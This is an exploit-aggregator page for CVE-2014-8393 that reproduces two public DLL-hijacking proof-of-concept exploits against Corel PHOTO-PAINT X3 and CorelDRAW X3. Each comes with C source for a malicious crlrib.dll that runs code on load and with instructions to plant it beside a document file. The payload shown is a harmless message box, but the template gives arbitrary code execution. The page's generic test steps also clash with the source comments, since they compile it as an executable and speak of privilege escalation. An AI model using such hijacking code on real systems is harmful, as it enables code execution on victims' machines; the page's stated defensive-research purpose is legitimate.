Materialized exploit
CVE-2014-8393
HIGH2 public exploit(s) for this CVE, 2 materialized with their code.
For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB
local windows Verified
Source
Corel PHOTO-PAINT X3 13.0.0.576 - 'crlrib.dll' DLL Hijacking
By LiquidWorm
How to test this exploit
Local exploit. Run on a vulnerable install in a throwaway VM and verify the privilege escalation.
gcc 14787.c -o exploit && ./exploit
Code c
/*
Corel PHOTO-PAINT X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit
Vendor: Corel Corporation
Product Web Page: http://www.corel.com
Affected Version: X3 v13.0.0.576
Summary: Graphic design software for striking visual communication.
Desc: Corel PHOTO-PAINT X3 suffers from a dll hijacking vulnerability
that enables the attacker to execute arbitrary code on a local level. The
vulnerable extension is .cpt thru crlrib.dll library.
----
gcc -shared -o crlrib.dll corelpp.c
Compile and rename to crlrib.dll, create a file test.cpt and
put both files in same dir and execute.
----
Tested on Microsoft Windows XP Professional SP3 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
25.08.2010
*/
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
ExploitDB
local windows Verified
Source
CorelDRAW X3 13.0.0.576 - 'crlrib.dll' DLL Hijacking
By LiquidWorm
How to test this exploit
Local exploit. Run on a vulnerable install in a throwaway VM and verify the privilege escalation.
gcc 14786.c -o exploit && ./exploit
Code c
/*
CorelDRAW X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit
Vendor: Corel Corporation
Product Web Page: http://www.corel.com
Affected Version: X3 v13.0.0.576
Summary: Graphic design software for striking visual communication.
Desc: CorelDRAW X3 suffers from a dll hijacking vulnerability
that enables the attacker to execute arbitrary code on a local level. The
vulnerable extensions are .cmx and .csl thru crlrib.dll library.
----
gcc -shared -o crlrib.dll coreldrw.c
Compile and rename to crlrib.dll, create a file test.cmx or test.csl and
put both files in same dir and execute.
----
Tested on Microsoft Windows XP Professional SP3 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
25.08.2010
*/
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}